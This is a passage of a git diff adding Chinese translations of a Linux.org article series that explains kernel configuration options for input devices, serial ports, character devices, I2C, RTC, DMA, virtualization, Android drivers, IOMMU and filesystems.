+Hyper-V虚拟网络需要这个驱动(Microsoft Hyper-V virtual network driver)。你可能想知道这个是否与微软的Hyper-V相同。使得,Linux支持Hyper-V。 + +数字电话服务ISDN由这个驱动提供(ISDN support)。ISDN代表"Integrated Services Digital Network"(综合业务数字网)。在法国,ISDN被称为RNIS,代表" Réseau numérique à intégration de services"。有一台ISDN适配器,计算机可以开始并接收语音呼叫。这允许计算机用来做因待机或者其他一些电话服务设备。ISDN同样也可以携带视频信息。 + +现在,我们可以进入输入设备了(Input device support)。这些是给计算机信息的设备。鼠标和键盘是最常被使用和了解的输入设备。扫描仪是另外一种输入设备的例子。 + +首先是一个支持不同触觉反馈设备的驱动(Support for memoryless force-feedback devices)。比如,许多游戏控制器的震动就是一种触觉反馈。 + +一些输入设备会检测硬件的状态(Polled input device skeleton)。这类行为需要这个驱动。 + +使用稀疏键盘映射的输入设备需要这个驱动(Sparse keymap support library)。键盘映射是键盘的布局信息。 + +下面,是另外一种键盘映射(Matrix keymap support library)。 + +注意:当为广泛的用户组编译内核时,包含大多数或者全部输入设备作为模块,因为通常不知道用户可能插到计算机上的设备类型。 + +有趣的事实:Vanilla内核就是Linux自己的原始内核,是未改变的状态。 + +"Mouse interface"对于鼠标创建了两个不同的设备文件。这两个设备文件是/dev/input/mouseX 和 /dev/input/mice。 + +下一个驱动创建了一个psaux设备文件并且它是/dev/input/mice的别名 (Provide legacy /dev/psaux device)。psaux设备文件是/dev/psaux。 + +如果系统有一块数位板,那么需要设置水平分辨率(Horizontal screen resolution)和垂直分辨率(Vertical screen resolution)。数位板是一种支持允许用户绘画的触控笔的触摸屏。另外的触摸屏无法支持如此复杂的输入。 + +下一个驱动支持操纵杆和游戏手柄(Joystick interface)。这个驱动会创建/dev/input/jsX文件。 + +"Event interface"驱动允许输入设备通过dev/input/eventX访问。 + +"Event debugging"驱动会输出所有的输入事件到系统日志中。除了要调试系统否则不要以任何理由启用它。显然地,这么做为了性能原因,但是我这么建议禁用的主要原因是安全目的。所有的按键都会被明文记录下来包括密码。 + +下面,列出了不同的键盘(Keyboards)配置驱动,接下来是鼠标(Mice)驱动和操纵杆和游戏手柄(joystick/gamepad)驱动。 + +在这之后,列出了不同特定的平板硬件/供货商的不同驱动(Tablets)。在这之后是触摸屏的驱动列表。 + +最后一组输入设备驱动是对于特定硬件和供货商的杂项驱动列表(Miscellaneous devices)。 + +这个系列的下一篇文章会讨论输入端口。不要忘记阅读这个系列的其他文章和这个网站。谢谢! + +**致粉丝: 谢谢**你们的邮件告诉我你们对这些文章的喜爱。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-15.4793/ + +译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/translated/The Linux Kernel/20 The Linux Kernel--Configuring the Kernel Part 16.md b/translated/The Linux Kernel/20 The Linux Kernel--Configuring the Kernel Part 16.md new file mode 100644 index 0000000000..c7772289bd --- /dev/null +++ b/translated/The Linux Kernel/20 The Linux Kernel--Configuring the Kernel Part 16.md @@ -0,0 +1,117 @@ +戴文的Linux内核专题:20 配置内核 (16) +================================================================================ +![](http://www.linux.org/attachments/slide-jpg.587/) + +欢迎来到下一篇Linux内核文章。在本篇里,我们将讨论输入/输出端口。 + +首先,PS/2鼠标和AT键盘需要"i8042 PC Keyboard controller"驱动。在USB之前,鼠标和键盘使用圆形端口的PS/2端口。AT键盘是一种84键使用AT端口的IBM键盘。AT端口有5针而PS/2口有六针。 + +使用COM口(有时也称RS232串口)的输入设备需要这个驱动(Serial port line discipline)。COM是一种串口,意味着每次传输一位。 + +TravelMate笔记本需要这个特殊的驱动来使用连接到QuickPort的鼠标(ct82c710 Aux port controller)。 + +对于PS/2 mice、AT keyboards 和 XT keyboards的并口适配器使用这个驱动(Parallel port keyboard adapter)。 + +"PS/2 driver library"用于PS/2鼠标和AT键盘。 + +可以启用"Raw access to serio ports"来允许设备文件作为字符文件来使用。 + +下面,下面有一个用于"Altera UP PS/2 controller"的驱动。 + +PS/2复用同样需要一个驱动(TQC PS/2 multiplexer)。 + +ARC FPGA平台对于PS/2控制器需要特殊的驱动(ARC PS/2 support)。 + +注意:我想要说清楚这篇文章中讨论的PS/2空孩子气并不是Sony的PlayStation上的游戏控制器。这篇文章讨论的是6针鼠标/键盘端口。控制器是一种有PS/2端口的卡。 + +"Gameport support"提供对15针gameport的支持。gameport是一种曾经被很多游戏设备使用直到USB端口的发明的15针口。 + +下一个驱动是在ISA或者PnP总线卡上的gameport驱动(Classic ISA and PnP gameport support)。ISA代表"Industry Standard Architecture"(工业标准架构)并且它是一种在PCI之前的并行总线标准。PnP代表"Plug-and-Play"(即插即用)并且他是一种在ISA之前的通用标准。 + +"PDPI Lightning 4 gamecard support"提供了一个有gameport的游戏卡的专有驱动。 + +SoundBlaster Audigy卡是一种专有gameport卡(SB Live and Audigy gameport support)。 + +ForteMedia FM801 PCI音频控制器在卡上有一个音频控制器(ForteMedia FM801 gameport support)。这个驱动只支持gameport。 + +下一步,我们可以进入"Character devices"。字符设备以字符传输数据。 + +首先,可以启用/禁用TTY(Enable TTY)。移除TTY会节约很多空间,但是许多终端和这类设备需要TTY。除非你知道你在做什么,否则不要禁用TTY。 + +致我的粉丝:如果你知道一个禁用TTY的理由,你能在下面发表你的答案并与我们共享么?谢谢! + +下一步,可以启用/禁用"Virtual terminals"(虚拟终端)。再说一次,这个可以节约很多空间,但是虚拟终端很重要。 + +下一个驱动支持字体映射和Unicode转换(Enable character translations in console)。这用于转换ASCII到Unicode。 + +虚拟终端可以用这个驱动作为系统控制台(Support for console on virtual terminal)。系统控制台管理着登陆和内核信息/警告。 + +虚拟终端必须通过控制台驱动与物理终端交互(Support for binding and unbinding console drivers)。在虚拟终端可以这么做之前,控制台驱动必须被加载。当虚拟终端关闭后,控制台终端必须被卸载。 + +下一个驱动提供了对Unix98 PTY驱动的支持(Unix98 PTY support)。这是Unix98伪终端。 + +有趣的事实:Linux内核允许某个文件系统一次在很多地方被多次挂载。 + +接下来,可以支持"Support multiple instances of devpts"(译注:允许多个"devpts"文件系统实例)。devpts文件系统用于伪终端的slave。 + +过时的PTY同样可以启用(Legacy (BSD) PTY support)。 + +可以设置最大数量的使用中的过时PTS(Maximum number of legacy PTY in use)。 + +下面的驱动可以用于提供对其他驱动不支持的串口的支持 (Non-standard serial port support)。 + +下面有一些用于特定板和卡的驱动。 + +这个驱动支持GSM MUX协议(GSM多路复用)(GSM MUX line discipline support (EXPERIMENTAL))。 + +下一个驱动启用kmen设备文件(/dev/kmem virtual device support)。kmem通常用于内核调试。kmem可以用于读取某些内核变量和状态。 + +Stallion卡上面有许多串口Stallion multiport serial support)。这个驱动特别支持这块卡。 + +下面,我们可以进入到串行设备驱动了。如前所述,串行设备每次传输一位。 + +第一个驱动用于标准串口支持(8250/16550 and compatible serial support)。 + +在这个驱动下,即插即用(Plug-and-Play)同样存在于串口中(8250/16550 PNP device support)。 + +下面的驱动允许串口用于连接一个终端后作为控制台(Console on 8250/16550 and compatible serial port)。 + +一些UART控制器支持直接内存访问(DMA support for 16550 compatible UART controllers)。UART代表的是"Universal Asynchronous Receiver/Transmitter"(通用异步收发)。UART控制器转换串行到并行,反之亦然。 + +下一步,这个驱动提供了标准PCI串行设备支持(8250/16550 PCI device support)。 + +16位PCMCIA串行设备由这个驱动支持(8250/16550 PCMCIA device support)。记住,PCMCIA是一种通常使用于笔记本的PC卡。 + +可以设置最大数量支持的串口(Maximum number of 8250/16550 serial ports),接着是在启动中注册的最大数量(Number of 8250/16550 serial ports to register at runtime)。 + +为了扩展像HUB6的串行能力,启用这个驱动(Extended 8250/16550 serial driver options)。 + +一个特殊驱动用于支持多于4种的过时串口(Support more than 4 legacy serial ports)。 + +当启用这个驱动后,可以共享串口中断(Support for sharing serial interrupts)。 + +使用这个驱动可以自动检测串口中断请求(Autodetect IRQ on standard ports)。 + +RSA串口同样也在Linux内核中支持(Support RSA serial ports)。RSA代表的是"Remote Supervisor Adapter"(远程管理适配器)。RSA是一种IBM特定的硬件。 + +下面,有不同的供应商/设备特定驱动。 + +下面有一个使用printk输出用户信息的TTY驱动(TTY driver to output user messages via printk)。printk(print kernel)是一种通常打印启动信息的特殊软件。任何由printk显示的字符串通常在/var/log/messages文件里。shell命令"dmesg"显示所有被printk使用的字符串。 + +下面,我们可以启用/禁用并口打印机的支持(Parallel printer support)。 + +接下来的驱动允许打印机作为一个控制台(Parallel printer support)。这意味着内核消息会被逐字地由打印机打印。通常地在这个系列中使用"print"(打印)这个单词时,意味这将输出信息到屏幕上。而这次,字面上的意思是将数据输出在纸上。 + +以下的驱动使设备文件在/dev/parport/中(Support for user-space parallel port device drivers)。这使得一些进程可以访问。 + +再说一次,Linux内核有许多特性和驱动,所以我们还会在下一篇文章中继续讨论更多的驱动。谢谢! + +致粉丝:我们正在接近配置过程的终点。我有一张你们很多人想知道的内核话题列表。这些话题包含了安装内核、管理模块、加入第三方驱动、还有许多其他有趣的建议和要求。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-16.4835/ + +译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/translated/The Linux Kernel/21 The Linux Kernel--Configuring the Kernel Part 17.md b/translated/The Linux Kernel/21 The Linux Kernel--Configuring the Kernel Part 17.md new file mode 100644 index 0000000000..e896a43727 --- /dev/null +++ b/translated/The Linux Kernel/21 The Linux Kernel--Configuring the Kernel Part 17.md @@ -0,0 +1,129 @@ +戴文的Linux内核专题:21 配置内核 (17) +================================================================================ +![](http://www.linux.org/attachments/slide-jpg.605/) + +你好!这篇文章会覆盖不同的驱动。 + +首先"virtio console"是一种用于hypervisors的虚拟控制台驱动。 + +"IPMI top-level message handler"是用于IPMI系统的消息管理器。IPMI代表的是"Intelligent Platform Management Interface"(智能平台管理系统)。IPMI是一种不需要shell通过网络管理系统的接口。 + +"/dev/nvram support"允许系统读取和写入实时时钟的内存。通常上,这个特性用于在掉电时保存数据。 + +下面一个驱动支持Siemens R3964包驱动(Siemens R3964 line discipline)。这个是设备对设备协议 + +现在,我们可以进入PCMCIA字符设备驱动。然而,大多数这里的驱动是供货商/设备特定的。 + +原始块设备驱动允许块设备绑定到设备文件上/dev/raw/rawN(RAW driver (/dev/raw/rawN))。这么做的好处是高效的零拷贝。然而,大多数软件更偏好通过/dev/sd** 或者 /dev/hd**访问存储设备。 + +下面,可以设置支持的原始设备的最大数量。 + +下面的驱动可以生成设备文件/dev/hpet (HPET - High Precision Event Timer)。 + +注意:你们中很多人可能会想知道为什么要启用这些设备文件问题。好的,这些设备文件充当了一个软件和硬件之间的接口。 + +通过这个驱动可以映射HPET驱动(Allow mmap of HPET)。映射是一个生成设备和文件在内存中的地址列表。文件接着可以通过内存地址更快地找到并且接着指挥硬盘从地址中得到数据。 + +"Hangcheck timer"用于检测系统是否被锁定。这个定时器监视着锁定进程。当一个进程被冻结了,定时器就开启。当定时器停止后,如果进程还没有重启或者关闭,那么定时器会强迫进程关闭。 + +引用Linus Torvalds的话:可移植性是对于那些无法写新程序的人而言的。 + +使用Trusted Computing Group(可信赖计算组)规范的TPM安全芯片会需要这个驱动(TPM Hardware Support)。 + +现在,我们可以进入I2C设备。I2C代表的是"Inter-Integrated Circuit"(内部集成电路)并经常被成为"eye two see"。然而,一些人会说"eye squared see"。I2C是一种串行总线标准。 + +一些旧的软件将I2C适配器作为类设备,但是如今的软件不会这么做(Enable compatibility bits for old user-space)。所以,这个驱动会提供对旧软件的向后支持。 + +接下来,可以生成I2C设备文件(I2C device interface)。 + +I2C可以通过这个驱动提供复用支持(I2C bus multiplexing support)。 + +I2C可以通过这个驱动支持GPIO控制的复用(GPIO-based I2C multiplexer)。 + +对于开发者用这个驱动可以在I2C和SMBus上执行不同的测试(I2C/SMBus Test Stub)。 + +I2C系统启用这个特性可以生成调试信息(I2C Core debugging messages)。 + +下一个驱动生成额外的I2C调试信息(I2C Algorithm debugging messages)。 + +引用Linus Torvalds的话:Linux中没有原始设备的原因似乎我个人任何原始设备是一个愚蠢的注意。 + +下面的驱动会使I2C驱动生成调试信息(I2C Bus debugging messages)。 + +接下来,我们有串行外设接口(Serial Peripheral Interface)支持(SPI support)。SPi是一种用于SPI总线的同步串行协议。 + +在这之后,有一个驱动用于高速同步串行接口(High speed synchronous Serial Interface support)支持(HSI support)。HSI是一种同步串行协议。 + +PPS同样在Linux内核中支持(PPS support)。 + +"IP-over-InfiniBand"驱动支持IP包通过InfiniBand(译注:一种无限带宽技术)传输。 + +在这之后,有一个调试驱动用于IP-over-InfiniBand(IP-over-InfiniBand debugging)。 + +SCSI的RDMA协议同样可以通过InfiniBand传输(InfiniBand SCSI RDMA Protocol)。 + +这里同样有一种通过InfiniBand传输iSCSI协议的扩展(iSCSI Extensions for RDMA (iSER))。 + +有时候,错误发生在了整个系统必须知道的核心系统中(EDAC (Error Detection And Correction) reporting)。这个驱动发送核心给系统。通常地,这类底层错误由处理器中报告并接着由这个驱动让其他系统进程知道或者处理错误。 + +这个驱动提供了在老版本中的sysfs中使用的过时EDAC的支持(EDAC legacy sysfs)。 + +EDAC可以用来设置发送调试信息给Linux的日志系统(Debugging)。 + +引用Linus Torvalds的话:没有人可以第一次创造如此好的代码,除了我。 + +"Machine Check Exceptions"(机器检测异常)(MCEs)通过这个驱动被转化成可读的信息(Decode MCEs in human-readable form (only on AMD for now))。MCEs是由CPU检测到的硬件错误。MCEs通常触发内核错误。 + +将MCE解码成可读的形式的过程可以被注射用于测试错误处理(Simple MCE injection interface over /sysfs)。 + +下一个驱动允许错误在内存中被检测到并纠正(Main Memory EDAC (Error Detection And Correction) reporting)。 + +下面,还有很多用于特定设备组的检测和纠正错误的驱动。 + +引用Linus Torvalds的话:理论和实践有时会冲突。那这个发生时,理论输了。每次都是。 + +现在我们可以进入实时时钟("Real Time Clock")。这通常缩写为"RTC"。RTC一直跟随着时间。 + +![](http://www.linux.org/attachments/rtc-png.606/) + +下面的设定允许用户在Linux系统中使用RTC时间作为"挂钟"时间(Set system time from RTC on startup and resume)。这个挂钟是我们在桌面上或者通过"date"命令看到的时间。 + +另外,挂钟可以通过NTP服务器得到时间并与RTC同步(Set the RTC time based on NTP synchronization)。 + +一些系统有几个RTC,所以用户必须设置哪一个是默认 (RTC used to set the system time)。最好设置第一个(/dev/rtc0)为主时钟。 + +可以设置RTC系统的调试特性(RTC debug support)。 + +RTC可以使用不同的接口给予操作系统当前时间。使用sysfs会需要这个驱动(/sys/class/rtc/rtcN (sysfs)),而似乎用proc需要这个驱动 (/proc/driver/rtc (procfs for rtcN))。特殊的RTC字符设备可以生成并使用 (/dev/rtcN (character devices))。shell命令"hwclock"使用/dev/rtc,所以RTC字符设备。 + +下一个驱动允许在/dev接口上模拟RTC中断(RTC UIE emulation on dev interface)。这个驱动读取时钟时间并允许新的时间从/dev中检索。 + +RTC系统可以通过测试驱动测试(Test driver/device)。 + +下面,我们会讨论直接内存访问系统。DMA是硬件独立于处理器的内存访问过程。DMA增加的系统性能因为处理器将做得更少如果硬件自身做了更多的任务。不然,硬件会等待处理器完成任务。 + +这是调试DMA系统的调试引擎(DMA Engine debugging)。 + +接下来,有许多的供货商/设备特定驱动用于DMA支持。 + +一些DMA通过这个驱动支持大端读取和写入(Use big endian I/O register access)。 + +大端指的是二进制码的排列。英语国家的数字系统将数字的最大端放在左边。比如,数字17,最左的数字是放置十位的地方大于个位。在大端中,每字节最大的放在左边。字节有8位。比如:10110100。每一处都有相应的值128、64、32、16、8、4、2、1。所以提到的为被转换成十进制180。 + +DMA系统可以使用网络减小CPU使用(Network: TCP receive copy offload)。 + +"DMA Test Client"用于测试DMA系统。 + +下一篇文章中,我们会讨论显示/视频驱动。谢谢! + +参考:Linus Torvalds的引用来自于:[http://en.wikiquote.org/wiki/Linus_Torvalds][1] + +-------------------------------------------------------------------------------- + +via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-17.4875/ + +译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://en.wikiquote.org/wiki/Linus_Torvalds \ No newline at end of file diff --git a/translated/The Linux Kernel/22 The Linux Kernel--Configuring the Kernel Part 18.md b/translated/The Linux Kernel/22 The Linux Kernel--Configuring the Kernel Part 18.md new file mode 100644 index 0000000000..e5007c5663 --- /dev/null +++ b/translated/The Linux Kernel/22 The Linux Kernel--Configuring the Kernel Part 18.md @@ -0,0 +1,111 @@ +戴文的Linux内核专题:22 配置内核 (18) +================================================================================ +![](http://www.linux.org/attachments/slide-jpg.616/) + +你好!准备好下一篇文章了么?在本篇中,我们将会讨论辅助屏幕。辅助显示是一些小的LCD屏幕;大多数小于或等于128x64。接着,我们会讨论用户空间IO驱动,一些虚拟驱动,Hyper-V,开发中驱动,IOMMU,和其他一些内核特性。 + +第一个配置辅助显示的驱动是"KS0108 LCD Controller"。KS0108 LCD Controller是由三星制造的图形控制器。 + +下面可以设置LCD并口地址(Parallel port where the LCD is connected)。第一个并口地址是0x378,下一个是0x278,第三个是0x3BC。这些不是地址唯一的选择。大多数人不需要改变这个。shell命令"cat /proc/ioports"会列出可用的并口和地址。 + +内核可以设置KS0108 LCD 控制器的写入延时到并口(Delay between each control writing (microseconds))。默认的值大部分是正确的,因此一般不需要更改。 + +"CFAG12864B LCD"屏幕是一块128x64,双色LCD屏幕。这块屏幕依赖于KS0108 LCD控制器。 + +可以改变这些LCD屏幕的刷新率(Refresh rate (hertz))。通常上,更高的刷新率会导致更多的CPU活动。这意味着一个缓慢的系统需要一个更低的刷新率。 + +设置完辅助显示后,接着设置"Userspace I/O drivers"。用户空间系统允许用户的应用和进程访问内核中断和内存地址。启用了它,一些驱动可以放在用户空间。 + +"generic Hilscher CIF Card driver"用于Profibus卡和Hilscher CIF卡。 + +"Userspace I/O platform driver"在用户空间创建通用驱动系统。 + +下一个驱动和上面的相同,但是增加IRQ处理(Userspace I/O platform driver with generic IRQ handling)。 + +下面的驱动又像前面的一个,但是增加了动态内存支持(Userspace platform driver with generic irq and dynamic memory)。 + +下面,是一些供应商/设备特性的驱动。 + +接着是一些通用PCI/PCIe卡驱动(Generic driver for PCI 2.3 and PCI Express cards)。 + +下面的驱动用于"VFIO support for PCI devices"。VFIO代表Virtual Function Input/Output(虚拟功能输入/输出)。VFIO允许设备直接以安全方式访问用户空间。 + +"VFIO PCI support for VGA devices"允许VGA通过VFIO被PCI支持。 + +接下来是virtio驱动。virtio是一个IO虚拟化平台。这个虚拟软件用于操作系统虚拟化。这在Linux系统上的虚拟机上运行一个操作系统时需要。 + +我们第一个可以配置的virtio驱动是"PCI driver for virtio devices"。这允许虚拟访问PCI + +"Virtio balloon driver"允许虚拟系统的内存根据需要扩展或减少。通常上,没有人希望在需要内存的时候,虚拟系统保留它可能不会使用的内存。 + +下面的驱动允许内存映射到virtio设备(Platform bus driver for memory mapped virtio devices)。 + +如果Linux内核需要运行在微软的Hyper-V系统上,那么启用这个驱动(Microsoft Hyper-V client drivers)。这允许Linux能够成为Hyper的访客/客户端系统。 + +![](http://www.linux.org/attachments/kernel_18-png.617/) + +下面,我们会配置开发中的驱动。这些驱动人在开发当中,可能会变化很快,或者还没到Linux内核的质量标准。这个分类中的驱动只有Android驱动(在内核3.9.4中)。是的,Andorid使用Linux内核,这使得Andorid编程一个Linux系统。然而,这仍然有争议。如果内核是用于Android,那么最好启用所有的驱动。 + +"Android Binder IPC Driver"提供了对于Binder的支持,它允许Andorid系统进程间相互通信。 + +下面可以启用ashmen驱动(Enable the Anonymous Shared Memory Subsystem)。Ashmem代表"Anonymous SHared MEMory"(虚拟内存共享)或者"Android SHared MEMory"(Andorid共享内存)。 + +"Android log driver"提供了完整的Andorid日志系统。 + +"Timed output class driver" 和 "Android timed gpio driver"允许Andorid系统操作GIP引脚并在超时后取消操作。 + +"Android Low Memory Killer"会在需要更多内存关闭进程。这个特性会杀死不再使用或活跃的任务。 + +"Android alarm driver"使内核在设定的间隔后唤醒。 + +在配置晚开发中的驱动后,下面的驱动用于X86平台。这些驱动是 X86 (32-bit)的供应商/设备特定硬件。 + +下一个驱动是"Mailbox Hardware Support"。这个框架控制邮箱队列和硬件邮箱系统的中断信号。 + +"IOMMU Hardware Support"链接内存到能够使用DMA的设备上。IOMMU增强了DMA。IOMMU映射地址并阻止故障设备访问内存。IOMMU同样允许硬件访问比没有IOMMU更多内存。 + +"AMD IOMMU support"提供了对AMD设备更好的IOMMU支持。 + +对于AMD IOMMU支持存在调试特性(Export AMD IOMMU statistics to debugfs)。 + +存在一个对于AMD硬件的更新版本的IOMMU驱动(AMD IOMMU Version 2 driver)。 + +Linux内核同样支持对Intel设备的IOMMU驱动支持(Support for Intel IOMMU using DMA Remapping Devices)。 + +一些设备可能会接受不同的电压和时钟频率。这个驱动允许操作系统控制设备的电压输出和时钟频率(Generic Dynamic Voltage and Frequency Scaling (DVFS) support)。启用了这个驱动,可以启用下面的那些对于电源/性能管理特性。 + +"Simple Ondemand"就像上面的,但是只会基于设备活动改变时钟频率。通常上,更多的活动意味着设备需要更快的时钟速率来使用更多的资源需求。 + +"Performance"允许系统设置最高支持的时钟速度以满足最好的性能。这会增加电源消耗。 + +"Powersave"会设置时钟频率到最低以节约电源。 + +"Userspace"允许用户空间设置时钟频率。 + +"External Connector Class (extcon) support"使得用户空间可以监视外部连接器如USB和AC口。这允许应用了解是否插入了线缆。用户几乎都希望启用这个。如果任何人由于某个合理的理由禁用了它,请告诉我们为什么这么做。 + +"GPIO extcon support"驱动就像上面的驱动,但是它只对于GPIO管脚。 + +接下来是不同的供货商/设备特定的内存控制器(Memory Controller drivers)。内存芯片控制器可能是独立的设备或者内置在内存芯片上。这些控制器管理这输入和输出的数据流。 + +"Industrial I/O support"驱动提供了标准的传感器接口而不管总线的类型(像PCIe、spi、GPIO等等)。IIO是"Industrial I/O support"(工业IO)的通用缩写。 + +Linux内核提供了大量不同的加速器、放大器模数转换器、惯性测量单元、光敏传感器、磁场传感器和其他许多传感器和转换器的支持。 + +"Intel Non-Transparent Bridge support"驱动支持连接到系统的PCIe硬件桥。所有到映射内存的写入会镜像到两个系统中。 + +"VME bridge support"和上面的相同除了桥使用的是VME,这是一个不同的总线标准。 + +"Pulse-Width Modulation (PWM) Support"通过调节从这些设备收到的平均功率调节背光灯和风扇速度。 + +"IndustryPack bus support"提供了对IndustryPack总线标准的支持。 + +下一篇文章,我们会继续配置固件驱动。谢谢! + +-------------------------------------------------------------------------------- + +via: http://www.linux.org/threads/the-linux-kernel-configuring-the-kernel-part-18.4896/ + +译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/translated/The Linux Kernel/23 The Linux Kernel--Configuring the Kernel Part 19.md b/translated/The Linux Kernel/23 The Linux Kernel--Configuring the Kernel Part 19.md new file mode 100644 index 0000000000..d294270839 --- /dev/null +++ b/translated/The Linux Kernel/23 The Linux Kernel--Configuring the Kernel Part 19.md @@ -0,0 +1,128 @@ +戴文的Linux内核专题:23 配置内核 (19) +================================================================================ +![](http://www.linux.org/attachments/slide-jpg.626/) + +欢迎进入Linux内核系列文章的下一篇!我们正在接近配置过程的终点。在这篇文章中,我们将会讨论固件驱动和文件系统驱动。 + +这个分类中的第一个驱动是寻找启动盘(BIOS Enhanced Disk Drive calls determine boot disk)。有时,Linux不会知道那个盘是启动盘。这个驱动允许内核询问BIOS。Linux接着在sysfs上存储信息。Linux需要知道这些来设置bootloader。 + +即使BIOS EDD服务被编译进了内核,这个选项可以设置这些服务不激活(Sets default behavior for EDD detection to off )。EDD代表的是"Enhanced Disk Drive"(增强磁盘驱动器)。 + +当使用kexec加载不同的内核时,性能可以通过固件提供的内存映射提升(Add firmware-provided memory map to sysfs)。 + +"Dell Systems Management Base Driver"通过sysfs接口提供了Linux内核对于Dell硬件的更好的控制。 + +启用这个驱动可以通过/sys/class/dmi/id/访问硬件的信息(Export DMI identification via sysfs to userspace)。DMI代表的是Desktop Management Interface(桌面管理接口)。DMI管理硬件的组件和访问硬件的数据。BIOS中数据的接口和硬件由SMBIOS(System Management BIOS)规范调节。 + +从DMI得到的原始数据表可以通过这个驱动访问(DMI table support in sysfs)。 + +为了从iSCSI驱动器中启动,启用这个驱动(DMI table support in sysfs)。 + +最后的驱动是一组"Google Firmware Drivers"。这些驱动用于Google特定的硬件。除非你为Google工作并且需要在硬件上使用Linux或者你在为一台从Google偷来的电脑编译内核,否则不要启用它。 + +下面,我们可以配置内核的文件系统支持。 + +"Second extended fs support"驱动用于EXT2文件系统。[http://www.linux.org/threads/ext-file-system.4365/][1] + +![](http://www.linux.org/attachments/kernel_19-png.627/) + +"Ext2 extended attributes"提供了原生文件系统不支持的额外的元数据的使用。 + +"Ext2 POSIX Access Control Lists"增加了额外的非原生的权限模型。 + +"Ext2 Security Labels"增强了有SELinux提供的安全性。 + +启用"Ext2 execute in place support"允许可执行文件在当前的位置执行而不必在页缓存中执行。 + +这个驱动提供EXT3文件系统(Ext3 journaling file system support)。 [http://www.linux.org/threads/ext-file-system.4365/][2] + +"Default to 'data=ordered' in ext3"驱动设置数据的排序模式为"Ordered"。这种处理方式为日志和写入工作。数据排序在这篇文章中解释 - [http://www.linux.org/threads/journal-file-system.4136/][3] + +"Ext3 extended attributes"提供了原生文件系统不支持的额外的元数据使用。再说一次,接下来的EXT3的驱动/特性与EXT2相同 - "Ext3 POSIX Access Control Lists" 和 "Ext3 Security Labels"。同样,对接下来的EXT4也是相同的 - "Ext4 POSIX Access Control Lists"、"Ext4 Security Labels" 和 "EXT4 debugging support"。 + +EXT3和EXT4支持日志块设备调试(JBD debugging support),(JBD2 debugging support)。 + +下面的驱动提供Reiser文件系统支持(Reiserfs support)。 [http://www.linux.org/threads/reiser-file-system-reiser3-and-reiser4.4403/][4] + +Reiser文件系统也有调试(Enable reiserfs debug mode)。 + +内核可以存储ReiserFS统计在/proc/fs/reiserfs (Stats in /proc/fs/reiserfs)。 + +下面的Reiser驱动/特性与EXT2/3/4相同 - ReiserFS extended attributes", "ReiserFS POSIX Access Control Lists" 和 "ReiserFS Security Labels". + +Linux内核同样支持JFS,同时也包含了不同的特性 "JFS filesystem support"、 "JFS POSIX Access Control Lists"、"JFS Security Labels"、"JFS debugging" 和 "JFS statistics". [http://www.linux.org/threads/journaled-file-system-jfs.4404/][5] + +再说一次,XFS可以通过启用这些驱动/特性支持 - "XFS filesystem support"、"XFS Quota support"、"XFS POSIX ACL support"、"XFS Realtime subvolume support" 和 "XFS Debugging support"。 [http://www.linux.org/threads/xfs-file-system.4364/][6] + +"Global FileSystem 2"可以被内核支持(GFS2 file system support)。这个文件系统用于在集群中共享存储。 + +"GFS2 DLM locking"驱动提供了GFS2的分布式锁管理(DLM) + +"Oracle Cluster FileSystem 2"被内核支持(OCFS2 file system support)。这个文件系统用于在集群中共享存储。 + +"O2CB Kernelspace Clustering"提供了OCFS2文件系统的不同服务。 + +"OCFS2 Userspace Clustering"允许集群栈在用户空间执行。 + +"OCFS2 statistics"驱动允许用户得到关于文件系统的统计信息。 + +像大多树Linux内核一样,OCFS2提供日志(OCFS2 logging support)。这可能被用来监视错误或者调试目的。 + +"OCFS2 expensive checks"驱动以性能为代价提供了存储一致性检测。一些Linux用户建议只有在调试目的在才启用它。 + +Linux内核同样包含了新的B树文件系统;这个驱动提供了磁盘格式化程序(Btrfs filesystem Unstable disk format)。BTRFS仍在开发中并被计划某天变的比EXT4更流行。[http://www.linux.org/threads/b-tree-file-system-btrfs.4430/][7] + +"Btrfs POSIX Access Control Lists"提供了额外的原生BTRFS没有提供的权限模型。 + +下面,是一个BTRFS检测工具(Btrfs with integrity check tool compiled in (DANGEROUS))。由于BTRFS是一个最新在开发中的文件系统,大多数相关软件还并不稳定。 + +Linux系统也支持NIL-FileSystem(NILFS2 file system support)。[http://www.linux.org/threads/new-implementation-of-a-log-structured-file-system-nilfs.4547/][8]。 + +为了支持一些文件系统使用到的flock()系统调用,启用这个驱动(Enable POSIX file locking API)。禁用这个去的那个会减少11KB的内核大小。这个驱动提供了文件锁定。文件锁定是一个允许进程在某刻读取文件的过程。这通常用于网络文件系统,就像NFS。 + +"Dnotify support"驱动是一个古老的文件系统通知系统,它提醒文件系统上的事件的用户空间。它的一个用处和它的继承者被用于监控应用的文件系统。某个应用告诉守护进程需要监视哪些事件。不然,每个用户空间应用需要它们自己完成这个任务。 + +记住,Dnotify是一个古老的系统,那么什么是新的通知系统?它就是由这个驱动提供的Inotify (Inotify support for userspace)。 + +一个可选的通知系统是fanotify (Filesystem wide access notification)。Fanotify与Inotify一样,但是fanotify比Inotify传递更多的信息到用户空间中。 + +用这个驱动Fanotify可以检测权限(fanotify permissions checking)。 + +对于用户想要划分存储空间的系统需要 "Quota support"。 [http://www.linux.org/threads/atomic-disk-quotas.4277/][9] + +接下来的驱动允许通过netlink报告磁盘配额警告和信息(Report quota messages through netlink interface)。netlink是一个用于与内核通信的用户空间的套接字接口。 + +配额信息同样可以发送到控制台(Print quota warnings to console (OBSOLETE))。 + +这个驱动允许配额系统执行额外的完整性检查(Additional quota sanity 